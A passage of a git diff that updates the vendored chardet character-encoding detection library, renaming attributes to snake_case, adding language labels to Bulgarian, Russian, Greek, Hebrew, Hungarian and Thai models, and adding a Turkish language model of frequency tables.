-8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048 -8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064 -8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080 -8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096 -8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112 -8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128 -8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144 -8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160 -8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176 -8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192 -8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208 -8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224 -8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240 -8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256 -8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271) # 8272 +) + -# flake8: noqa diff --git a/thirdparty/chardet/jpcntx.py b/thirdparty/chardet/jpcntx.py index 59aeb6a8789..20044e4bc8f 100644 --- a/thirdparty/chardet/jpcntx.py +++ b/thirdparty/chardet/jpcntx.py @@ -25,13 +25,6 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from .compat import wrap_ord - -NUM_OF_CATEGORY = 6 -DONT_KNOW = -1 -ENOUGH_REL_THRESHOLD = 100 -MAX_REL_THRESHOLD = 1000 -MINIMUM_DATA_THRESHOLD = 4 # This is hiragana 2-char sequence table, the number in each cell represents its frequency category jp2CharContext = ( @@ -120,24 +113,35 @@ (0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), ) -class JapaneseContextAnalysis: +class JapaneseContextAnalysis(object): + NUM_OF_CATEGORY = 6 + DONT_KNOW = -1 + ENOUGH_REL_THRESHOLD = 100 + MAX_REL_THRESHOLD = 1000 + MINIMUM_DATA_THRESHOLD = 4 + def __init__(self): + self._total_rel = None + self._rel_sample = None + self._need_to_skip_char_num = None + self._last_char_order = None + self._done = None self.reset() def reset(self): - self._mTotalRel = 0 # total sequence received - # category counters, each interger counts sequence in its category - self._mRelSample = [0] * NUM_OF_CATEGORY + self._total_rel = 0 # total sequence received + # category counters, each integer counts sequence in its category + self._rel_sample = [0] * self.NUM_OF_CATEGORY # if last byte in current buffer is not the last byte of a character, # we need to know how many bytes to skip in next buffer - self._mNeedToSkipCharNum = 0 - self._mLastCharOrder = -1 # The order of previous char + self._need_to_skip_char_num = 0 + self._last_char_order = -1 # The order of previous char # If this flag is set to True, detection is done and conclusion has # been made - self._mDone = False + self._done = False - def feed(self, aBuf, aLen): - if self._mDone: + def feed(self, byte_str, num_bytes): + if self._done: return # The buffer we got is byte oriented, and a character may span in more than one @@ -147,81 +151,83 @@ def feed(self, aBuf, aLen): # well and analyse the character once it is complete, but since a # character will not make much difference, by simply skipping # this character will simply our logic and improve performance. - i = self._mNeedToSkipCharNum - while i < aLen: - order, charLen = self.get_order(aBuf[i:i + 2]) - i += charLen - if i > aLen: - self._mNeedToSkipCharNum = i - aLen - self._mLastCharOrder = -1 + i = self._need_to_skip_char_num + while i < num_bytes: + order, char_len = self.get_order(byte_str[i:i + 2]) + i += char_len + if i > num_bytes: + self._need_to_skip_char_num = i - num_bytes + self._last_char_order = -1 else: - if (order != -1) and (self._mLastCharOrder != -1): - self._mTotalRel += 1 - if self._mTotalRel > MAX_REL_THRESHOLD: - self._mDone = True + if (order != -1) and (self._last_char_order != -1): + self._total_rel += 1 + if self._total_rel > self.MAX_REL_THRESHOLD: + self._done = True break - self._mRelSample[jp2CharContext[self._mLastCharOrder][order]] += 1 - self._mLastCharOrder = order + self._rel_sample[jp2CharContext[self._last_char_order][order]] += 1 + self._last_char_order = order def got_enough_data(self): - return self._mTotalRel > ENOUGH_REL_THRESHOLD + return self._total_rel > self.ENOUGH_REL_THRESHOLD def get_confidence(self): # This is just one way to calculate confidence. It works well for me. - if self._mTotalRel > MINIMUM_DATA_THRESHOLD: - return (self._mTotalRel - self._mRelSample[0]) / self._mTotalRel + if self._total_rel > self.MINIMUM_DATA_THRESHOLD: + return (self._total_rel - self._rel_sample[0]) / self._total_rel else: - return DONT_KNOW + return self.DONT_KNOW - def get_order(self, aBuf): + def get_order(self, byte_str): return -1, 1 class SJISContextAnalysis(JapaneseContextAnalysis): def __init__(self): - self.charset_name = "SHIFT_JIS" + super(SJISContextAnalysis, self).__init__() + self._charset_name = "SHIFT_JIS" - def get_charset_name(self): - return self.charset_name + @property + def charset_name(self): + return self._charset_name - def get_order(self, aBuf): - if not aBuf: + def get_order(self, byte_str): + if not byte_str: return -1, 1 # find out current char's byte length - first_char = wrap_ord(aBuf[0]) - if ((0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC)): - charLen = 2 + first_char = byte_str[0] + if (0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC): + char_len = 2 if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): - self.charset_name = "CP932" + self._charset_name = "CP932" else: - charLen = 1 + char_len = 1 # return its order if it is hiragana - if len(aBuf) > 1: - second_char = wrap_ord(aBuf[1]) + if len(byte_str) > 1: + second_char = byte_str[1] if (first_char == 202) and (0x9F <= second_char <= 0xF1): - return second_char - 0x9F, charLen + return second_char - 0x9F, char_len - return -1, charLen + return -1, char_len class EUCJPContextAnalysis(JapaneseContextAnalysis): - def get_order(self, aBuf): - if not aBuf: + def get_order(self, byte_str): + if not byte_str: return -1, 1 # find out current char's byte length - first_char = wrap_ord(aBuf[0]) + first_char = byte_str[0] if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): - charLen = 2 + char_len = 2 elif first_char == 0x8F: - charLen = 3 + char_len = 3 else: - charLen = 1 + char_len = 1 # return its order if it is hiragana - if len(aBuf) > 1: - second_char = wrap_ord(aBuf[1]) + if len(byte_str) > 1: + second_char = byte_str[1] if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): - return second_char - 0xA1, charLen + return second_char - 0xA1, char_len + + return -1, char_len - return -1, charLen -# flake8: noqa diff --git a/thirdparty/chardet/langbulgarianmodel.py b/thirdparty/chardet/langbulgarianmodel.py index e5788fc64a6..2aa4fb2e22f 100644 --- a/thirdparty/chardet/langbulgarianmodel.py +++ b/thirdparty/chardet/langbulgarianmodel.py @@ -210,20 +210,19 @@ ) Latin5BulgarianModel = { - 'charToOrderMap': Latin5_BulgarianCharToOrderMap, - 'precedenceMatrix': BulgarianLangModel, - 'mTypicalPositiveRatio': 0.969392, - 'keepEnglishLetter': False, - 'charsetName': "ISO-8859-5" + 'char_to_order_map': Latin5_BulgarianCharToOrderMap, + 'precedence_matrix': BulgarianLangModel, + 'typical_positive_ratio': 0.969392, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-5", + 'language': 'Bulgairan', } Win1251BulgarianModel = { - 'charToOrderMap': win1251BulgarianCharToOrderMap, - 'precedenceMatrix': BulgarianLangModel, - 'mTypicalPositiveRatio': 0.969392, - 'keepEnglishLetter': False, - 'charsetName': "windows-1251" + 'char_to_order_map': win1251BulgarianCharToOrderMap, + 'precedence_matrix': BulgarianLangModel, + 'typical_positive_ratio': 0.969392, + 'keep_english_letter': False, + 'charset_name': "windows-1251", + 'language': 'Bulgarian', } - - -# flake8: noqa diff --git a/thirdparty/chardet/langcyrillicmodel.py b/thirdparty/chardet/langcyrillicmodel.py index a86f54bd546..e5f9a1fd19c 100644 --- a/thirdparty/chardet/langcyrillicmodel.py +++ b/thirdparty/chardet/langcyrillicmodel.py @@ -27,7 +27,7 @@ # KOI8-R language model # Character Mapping Table: -KOI8R_CharToOrderMap = ( +KOI8R_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -46,7 +46,7 @@ 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 ) -win1251_CharToOrderMap = ( +win1251_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -65,7 +65,7 @@ 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, ) -latin5_CharToOrderMap = ( +latin5_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -84,7 +84,7 @@ 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) -macCyrillic_CharToOrderMap = ( +macCyrillic_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -103,7 +103,7 @@ 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, ) -IBM855_CharToOrderMap = ( +IBM855_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -122,7 +122,7 @@ 250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, ) -IBM866_CharToOrderMap = ( +IBM866_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -279,51 +279,55 @@ ) Koi8rModel = { - 'charToOrderMap': KOI8R_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "KOI8-R" + 'char_to_order_map': KOI8R_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "KOI8-R", + 'language': 'Russian', } Win1251CyrillicModel = { - 'charToOrderMap': win1251_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "windows-1251" + 'char_to_order_map': win1251_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "windows-1251", + 'language': 'Russian', } Latin5CyrillicModel = { - 'charToOrderMap': latin5_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "ISO-8859-5" + 'char_to_order_map': latin5_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-5", + 'language': 'Russian', } MacCyrillicModel = { - 'charToOrderMap': macCyrillic_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "MacCyrillic" -}; + 'char_to_order_map': macCyrillic_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "MacCyrillic", + 'language': 'Russian', +} Ibm866Model = { - 'charToOrderMap': IBM866_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "IBM866" + 'char_to_order_map': IBM866_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "IBM866", + 'language': 'Russian', } Ibm855Model = { - 'charToOrderMap': IBM855_CharToOrderMap, - 'precedenceMatrix': RussianLangModel, - 'mTypicalPositiveRatio': 0.976601, - 'keepEnglishLetter': False, - 'charsetName': "IBM855" + 'char_to_order_map': IBM855_char_to_order_map, + 'precedence_matrix': RussianLangModel, + 'typical_positive_ratio': 0.976601, + 'keep_english_letter': False, + 'charset_name': "IBM855", + 'language': 'Russian', } - -# flake8: noqa diff --git a/thirdparty/chardet/langgreekmodel.py b/thirdparty/chardet/langgreekmodel.py index ddb5837655d..533222166cc 100644 --- a/thirdparty/chardet/langgreekmodel.py +++ b/thirdparty/chardet/langgreekmodel.py @@ -31,7 +31,7 @@ # 252: 0 - 9 # Character Mapping Table: -Latin7_CharToOrderMap = ( +Latin7_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -50,7 +50,7 @@ 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) -win1253_CharToOrderMap = ( +win1253_char_to_order_map = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -207,19 +207,19 @@ ) Latin7GreekModel = { - 'charToOrderMap': Latin7_CharToOrderMap, - 'precedenceMatrix': GreekLangModel, - 'mTypicalPositiveRatio': 0.982851, - 'keepEnglishLetter': False, - 'charsetName': "ISO-8859-7" + 'char_to_order_map': Latin7_char_to_order_map, + 'precedence_matrix': GreekLangModel, + 'typical_positive_ratio': 0.982851, + 'keep_english_letter': False, + 'charset_name': "ISO-8859-7", + 'language': 'Greek', } Win1253GreekModel = { - 'charToOrderMap': win1253_CharToOrderMap, - 'precedenceMatrix': GreekLangModel, - 'mTypicalPositiveRatio': 0.982851, - 'keepEnglishLetter': False, - 'charsetName': "windows-1253" + 'char_to_order_map': win1253_char_to_order_map, + 'precedence_matrix': GreekLangModel, + 'typical_positive_ratio': 0.982851, + 'keep_english_letter': False, + 'charset_name': "windows-1253", + 'language': 'Greek', } - -# flake8: noqa diff --git a/thirdparty/chardet/langhebrewmodel.py b/thirdparty/chardet/langhebrewmodel.py index 75f2bc7fe73..58f4c875ec9 100644 --- a/thirdparty/chardet/langhebrewmodel.py +++ b/thirdparty/chardet/langhebrewmodel.py @@ -34,7 +34,7 @@ # Windows-1255 language model # Character Mapping Table: -win1255_CharToOrderMap = ( +WIN1255_CHAR_TO_ORDER_MAP = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 @@ -59,7 +59,7 @@ # first 1024 sequences: 1.5981% # rest sequences: 0.087% # negative sequences: 0.0015% -HebrewLangModel = ( +HEBREW_LANG_MODEL = ( 0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, 3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, @@ -191,11 +191,10 @@ ) Win1255HebrewModel = { - 'charToOrderMap': win1255_CharToOrderMap, - 'precedenceMatrix': HebrewLangModel, - 'mTypicalPositiveRatio': 0.984004, - 'keepEnglishLetter': False, - 'charsetName': "windows-1255" + 'char_to_order_map': WIN1255_CHAR_TO_ORDER_MAP, + 'precedence_matrix': HEBREW_LANG_MODEL, + 'typical_positive_ratio': 0.984004, + 'keep_english_letter': False, + 'charset_name': "windows-1255", + 'language': 'Hebrew', } - -# flake8: noqa diff --git a/thirdparty/chardet/langhungarianmodel.py b/thirdparty/chardet/langhungarianmodel.py index 49d2f0fe751..bb7c095e1ea 100644 --- a/thirdparty/chardet/langhungarianmodel.py +++ b/thirdparty/chardet/langhungarianmodel.py @@ -207,19 +207,19 @@ ) Latin2HungarianModel = { - 'charToOrderMap': Latin2_HungarianCharToOrderMap, - 'precedenceMatrix': HungarianLangModel, - 'mTypicalPositiveRatio': 0.947368, - 'keepEnglishLetter': True, - 'charsetName': "ISO-8859-2" + 'char_to_order_map': Latin2_HungarianCharToOrderMap, + 'precedence_matrix': HungarianLangModel, + 'typical_positive_ratio': 0.947368, + 'keep_english_letter': True, + 'charset_name': "ISO-8859-2", + 'language': 'Hungarian', } Win1250HungarianModel = { - 'charToOrderMap': win1250HungarianCharToOrderMap, - 'precedenceMatrix': HungarianLangModel, - 'mTypicalPositiveRatio': 0.947368, - 'keepEnglishLetter': True, - 'charsetName': "windows-1250" + 'char_to_order_map': win1250HungarianCharToOrderMap, + 'precedence_matrix': HungarianLangModel, + 'typical_positive_ratio': 0.947368, + 'keep_english_letter': True, + 'charset_name': "windows-1250", + 'language': 'Hungarian', } - -# flake8: noqa diff --git a/thirdparty/chardet/langthaimodel.py b/thirdparty/chardet/langthaimodel.py index 0508b1b1abc..15f94c2df02 100644 --- a/thirdparty/chardet/langthaimodel.py +++ b/thirdparty/chardet/langthaimodel.py @@ -190,11 +190,10 @@ ) TIS620ThaiModel = { - 'charToOrderMap': TIS620CharToOrderMap, - 'precedenceMatrix': ThaiLangModel, - 'mTypicalPositiveRatio': 0.926386, - 'keepEnglishLetter': False, - 'charsetName': "TIS-620" + 'char_to_order_map': TIS620CharToOrderMap, + 'precedence_matrix': ThaiLangModel, + 'typical_positive_ratio': 0.926386, + 'keep_english_letter': False, + 'charset_name': "TIS-620", + 'language': 'Thai', } - -# flake8: noqa diff --git a/thirdparty/chardet/langturkishmodel.py b/thirdparty/chardet/langturkishmodel.py new file mode 100644 index 00000000000..a427a457398 --- /dev/null +++ b/thirdparty/chardet/langturkishmodel.py @@ -0,0 +1,193 @@ +# -*- coding: utf-8 -*- +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Özgür Baskın - Turkish Language Model +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# Character Mapping Table: +Latin5_TurkishCharToOrderMap = ( +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, +255, 23, 37, 47, 39, 29, 52, 36, 45, 53, 60, 16, 49, 20, 46, 42, + 48, 69, 44, 35, 31, 51, 38, 62, 65, 43, 56,255,255,255,255,255, +255, 1, 21, 28, 12, 2, 18, 27, 25, 3, 24, 10, 5, 13, 4, 15, + 26, 64, 7, 8, 9, 14, 32, 57, 58, 11, 22,255,255,255,255,255, +180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165, +164,163,162,161,160,159,101,158,157,156,155,154,153,152,151,106, +150,149,148,147,146,145,144,100,143,142,141,140,139,138,137,136, + 94, 80, 93,135,105,134,133, 63,132,131,130,129,128,127,126,125, +124,104, 73, 99, 79, 85,123, 54,122, 98, 92,121,120, 91,103,119, + 68,118,117, 97,116,115, 50, 90,114,113,112,111, 55, 41, 40, 86, + 89, 70, 59, 78, 71, 82, 88, 33, 77, 66, 84, 83,110, 75, 61, 96, + 30, 67,109, 74, 87,102, 34, 95, 81,108, 76, 72, 17, 6, 19,107, +) + +TurkishLangModel = ( +3,2,3,3,3,1,3,3,3,3,3,3,3,3,2,1,1,3,3,1,3,3,0,3,3,3,3,3,0,3,1,3, +3,2,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, +3,2,2,3,3,0,3,3,3,3,3,3,3,2,3,1,0,3,3,1,3,3,0,3,3,3,3,3,0,3,0,3, +3,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,0,1,0,1, +3,3,2,3,3,0,3,3,3,3,3,3,3,2,3,1,1,3,3,0,3,3,1,2,3,3,3,3,0,3,0,3, +3,1,1,0,0,0,1,0,0,0,0,1,1,0,1,2,1,0,0,0,1,0,0,0,0,2,0,0,0,0,0,1, +3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,1,3,3,2,0,3,2,1,2,2,1,3,3,0,0,0,2, +2,2,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1, +3,3,3,2,3,3,1,2,3,3,3,3,3,3,3,1,3,2,1,0,3,2,0,1,2,3,3,2,1,0,0,2, +2,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,2,0,0,0, +1,0,1,3,3,1,3,3,3,3,3,3,3,1,2,0,0,2,3,0,2,3,0,0,2,2,2,3,0,3,0,1, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,3,3,0,3,2,0,2,3,2,3,3,1,0,0,2, +3,2,0,0,1,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,2,0,0,1, +3,3,3,2,3,3,2,3,3,3,3,2,3,3,3,0,3,3,0,0,2,1,0,0,2,3,2,2,0,0,0,2, +2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,2,0,0,1, +3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,0,1,3,2,1,1,3,2,3,2,1,0,0,2, +2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0, +3,3,3,2,3,3,3,3,3,3,3,2,3,3,3,0,3,2,2,0,2,3,0,0,2,2,2,2,0,0,0,2, +3,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, +3,3,3,3,3,3,3,2,2,2,2,3,2,3,3,0,3,3,1,1,2,2,0,0,2,2,3,2,0,0,1,3, +0,3,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1, +3,3,3,2,3,3,3,2,1,2,2,3,2,3,3,0,3,2,0,0,1,1,0,1,1,2,1,2,0,0,0,1, +0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0, +3,3,3,2,3,3,2,3,2,2,2,3,3,3,3,1,3,1,1,0,3,2,1,1,3,3,2,3,1,0,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,2,0,0,1, +3,2,2,3,3,0,3,3,3,3,3,3,3,2,2,1,0,3,3,1,3,3,0,1,3,3,2,3,0,3,0,3, +2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +2,2,2,3,3,0,3,3,3,3,3,3,3,3,3,0,0,3,2,0,3,3,0,3,2,3,3,3,0,3,1,3, +2,0,0,0,0,0,0,0,0,0,0,1,0,1,2,0,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, +3,3,3,1,2,3,3,1,0,0,1,0,0,3,3,2,3,0,0,2,0,0,2,0,2,0,0,0,2,0,2,0, +0,3,1,0,1,0,0,0,2,2,1,0,1,1,2,1,2,2,2,0,2,1,1,0,0,0,2,0,0,0,0,0, +1,2,1,3,3,0,3,3,3,3,3,2,3,0,0,0,0,2,3,0,2,3,1,0,2,3,1,3,0,3,0,2, +3,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,3,3,2,2,3,2,2,0,1,2,3,0,1,2,1,0,1,0,0,0,1,0,2,2,0,0,0,1, +1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0, +3,3,3,1,3,3,1,1,3,3,1,1,3,3,1,0,2,1,2,0,2,1,0,0,1,1,2,1,0,0,0,2, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,1,0,2,1,3,0,0,2,0,0,3,3,0,3,0,0,1,0,1,2,0,0,1,1,2,2,0,1,0, +0,1,2,1,1,0,1,0,1,1,1,1,1,0,1,1,1,2,2,1,2,0,1,0,0,0,0,0,0,1,0,0, +3,3,3,2,3,2,3,3,0,2,2,2,3,3,3,0,3,0,0,0,2,2,0,1,2,1,1,1,0,0,0,1, +0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +3,3,3,3,3,3,2,1,2,2,3,3,3,3,2,0,2,0,0,0,2,2,0,0,2,1,3,3,0,0,1,1, +1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0, +1,1,2,3,3,0,3,3,3,3,3,3,2,2,0,2,0,2,3,2,3,2,2,2,2,2,2,2,1,3,2,3, +2,0,2,1,2,2,2,2,1,1,2,2,1,2,2,1,2,0,0,2,1,1,0,2,1,0,0,1,0,0,0,1, +2,3,3,1,1,1,0,1,1,1,2,3,2,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0, +0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,2,3,2,2,1,3,3,3,0,2,1,2,0,2,1,0,0,1,1,1,1,1,0,0,1, +2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,2,0,1,0,0,0, +3,3,3,2,3,3,3,3,3,2,3,1,2,3,3,1,2,0,0,0,0,0,0,0,3,2,1,1,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, +3,3,3,2,2,3,3,2,1,1,1,1,1,3,3,0,3,1,0,0,1,1,0,0,3,1,2,1,0,0,0,0, +0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0, +3,3,3,2,2,3,2,2,2,3,2,1,1,3,3,0,3,0,0,0,0,1,0,0,3,1,1,2,0,0,0,1, +1,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,1,3,3,0,3,3,3,3,3,2,2,2,1,2,0,2,1,2,2,1,1,0,1,2,2,2,2,2,2,2, +0,0,2,1,2,1,2,1,0,1,1,3,1,2,1,1,2,0,0,2,0,1,0,1,0,1,0,0,0,1,0,1, +3,3,3,1,3,3,3,0,1,1,0,2,2,3,1,0,3,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,0,0,2,2,1,0,0,1,0,0,3,3,1,3,0,0,1,1,0,2,0,3,0,0,0,2,0,1,1, +0,1,2,0,1,2,2,0,2,2,2,2,1,0,2,1,1,0,2,0,2,1,2,0,0,0,0,0,0,0,0,0, +3,3,3,1,3,2,3,2,0,2,2,2,1,3,2,0,2,1,2,0,1,2,0,0,1,0,2,2,0,0,0,2, 